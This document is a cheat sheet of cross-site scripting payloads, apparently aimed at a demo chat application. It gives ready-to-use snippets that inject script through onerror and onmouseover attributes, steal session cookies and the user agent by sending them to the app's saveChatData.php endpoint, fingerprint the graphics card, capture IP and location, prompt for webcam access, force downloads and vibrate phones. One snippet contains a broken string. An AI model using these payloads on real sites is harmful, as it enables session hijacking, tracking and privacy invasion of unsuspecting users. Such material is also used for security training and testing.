

Normal Alert => onerror

```
<img src=' ' onerror="alert('xss')" />

```

Onmouseover

```
<h1 onmouseover="alert('another one!!! 😊')">Hover here 😊</h1>
```

Change BG Color

```
<img src=' ' onerror="document.body.style.background='red'" />
```

Fetch

```
fetch('saveChatData.php?sendOverGET=true&message=' + escape(document.cookie))
```

Cookie

```
<h1 onmouseover="
  fetch('saveChatData.php?sendOverGET=true&message=' + escape(document.cookie));
  scrollToBottom();">
  Mouse Over
</h1>
```

UserAgent

```
<h1 onmouseover="
  fetch('saveChatData.php?sendOverGET=true&message=' + escape(navigator.userAgent));
  scrollToBottom();">
  Mouse Over
</h1>
```

HTML 2 Canvas

```
html2canvas(document.body).then(canvas => {
  document.body.appendChild(canvas)
});
```

GET Request

```
const Http = new XMLHttpRequest();
const url = 'saveChatData.php?sendOverGET=true&message=' + escape(document.cookie);
Http.open('GET', url);
Http.send();
Http.onreadystatechange = (e) => { }
```

POST Request

```
const Http = new XMLHttpRequest();
const url = 'saveChatData.php?messageSendReceive=true&message=' + escape(document.cookie);
Http.open('POST', url);
Http.send();
Http.onreadystatechange = (e) => {
    console.log(Http.responseText);
}
```

Play Audio – Auto

```
const a = document.createElement('audio');
a.src = "voice.mp3";
a.autoplay = true;
a.style.display = 'none';
document.body.appendChild(a);
    OR
<audio src='voice.mp3' autoplay />
```

Geolocation

```
navigator.geolocation
    .getCurrentPosition(console.log, console.log);
//log latitude, longitude to console
```

Force Download

```
const link = document.createElement('a');
link.href = 'images/anon.jpg';
link.download = '';
document.body.appendChild(link);
link.click();
```

Vibrate Phone

```
window.navigator.vibrate(200); //vibrate for 200ms
window.navigator.vibrate([100, 30, 100, 30, 100, 30, 200, 30, 200, 30, 200, 30, 100, 30, 100, 30, 100]); //SOS message
<img src='images/hello.gif' onLoad="window.navigator.vibrate(100);" />
```

Graphics card info

```
<img src='images/hello.gif'
  onmouseover="
    const canvas = document.createElement('canvas');
    const gl = canvas.getContext('webgl');
    const debugInfo = gl.getExtension('WEBGL_debug_renderer_info');
    const vendor = gl.getParameter(debugInfo.UNMASKED_VENDOR_WEBGL);
    const renderer = gl.getParameter(debugInfo.UNMASKED_RENDERER_WEBGL);
    const message = vendor+renderer;
    fetch('saveChartData.php?sendOverGET=true&message=%2bescape(message));
  "
/>
```

Style Tag

```
<style>body {background: red !important;}</style>
<style>
  body {animation: anim .3s ease-in infinite alternate;}
  @keyframes anim {
    0% {background: rgba(0, 0, 0, .1);}
    30%{background: rgba(255, 0, 0, 1);}
    60%{background: rgba(0, 255, 0, 1);}
    90%{background: rgba(0, 0, 255, 1);}
  }
</style>
```

Ask for Webcam permission (Over SSL)

```
navigator.getUserMedia = navigator.getUserMedia || navigator.webkitGetUserMedia ||  
navigator.mozGetUserMedia || navigator.msGetUserMedia;  
  
navigator.getUserMedia({ video: true },  
    (stream) => console.log("allowed"),  
    (stream) => console.log("fail")  
    );
```

Get user IP, Location, Operator

```
const Http = new XMLHttpRequest();  
const url = 'getIP.php';  
Http.open('GET', url);  
Http.send();  
Http.onreadystatechange = (e) => {  
    fetch('saveChatData.php?sendOverGET=true&message=' + Http.responseText);  
}
```

URL Encode	
space	%20
+	%2b
&	%26